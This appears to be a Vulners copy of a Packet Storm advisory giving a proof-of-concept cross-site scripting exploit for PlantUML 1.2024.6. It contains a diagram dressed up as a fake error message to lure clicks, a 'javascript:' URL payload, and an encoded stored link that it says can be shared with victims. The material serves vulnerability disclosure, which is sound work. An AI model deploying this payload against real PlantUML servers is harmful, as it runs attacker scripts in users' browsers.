Lucene search
K

PlantUML 1.2024.6 Cross Site Scripting

🗓️ 23 Aug 2024 00:00:00Reported by Hosein VitaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 208 Views

PlantUML 1.2024.6 Cross Site Scripting vulnerability demonstratio

Code
`#Exploit Title: PlantUML version 1.2024.6 Cross Site Scripting (XSS)  
#Date: 23/08/2024  
#Exploit Author: Hosein Vita  
#Vendor Homepage: https://plantuml.com/  
#Version: 1.2024.6  
#Tested on: Linux  
  
  
Description:  
This proof-of-concept demonstrates a Cross-Site Scripting (XSS) vulnerability in PlantUML. The vulnerability can be exploited by embedding malicious JavaScript within a diagram using SVG code. When the rendered element is clicked, the payload triggers an alert, demonstrating the potential for executing arbitrary scripts in the user's browser.  
  
Proof of Concept:  
plantuml  
Copy code  
@startuml  
digraph G {  
graph [bgcolor="white"];  
node [shape=box, style="rounded,filled", color="white"];  
heading [fillcolor="white", label=<<table border="0" cellborder="0"><tr><td align="left">Error - Failed to load the content.<br/>Please click to reload..</td></tr></table>>, URL="javascript:alert(1);"];  
}  
@enduml  
Alternatively, you can reproduce the issue by appending the following string to https://<plantumlserver>/plantuml/svg/:  
  
Copy code  
PK-xJWGn3Epv2YiLI64FMcwJ3cWe41BLYiBP-3Ovh6JbDIyX_fr450XHUFoOiJoEUH5S4zp2vmd0Jps5PQvSnPctb9NCqxvHfKQ2QKkuaWlrtSAc7qpEI7qfaQ8zP6QAniB_rKGOSrbWwfe_j0N6GEp6KJ4mGQWIgR4N1cPY_ctzgD8Y0d9UYZDC1pN-MgGAdCCDvdORj09NR3bHSr6KYWvZa9s_PyAjpJZFprqbr7N3CEuq-WRIeHlmtiBZmvqpHtp5RPQywXKoYPvUdktxCr_V  
This proof-of-concept remains stored and can be shared as a link with potential victims.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Aug 2024 00:00Current
7.4High risk
Vulners AI Score7.4
208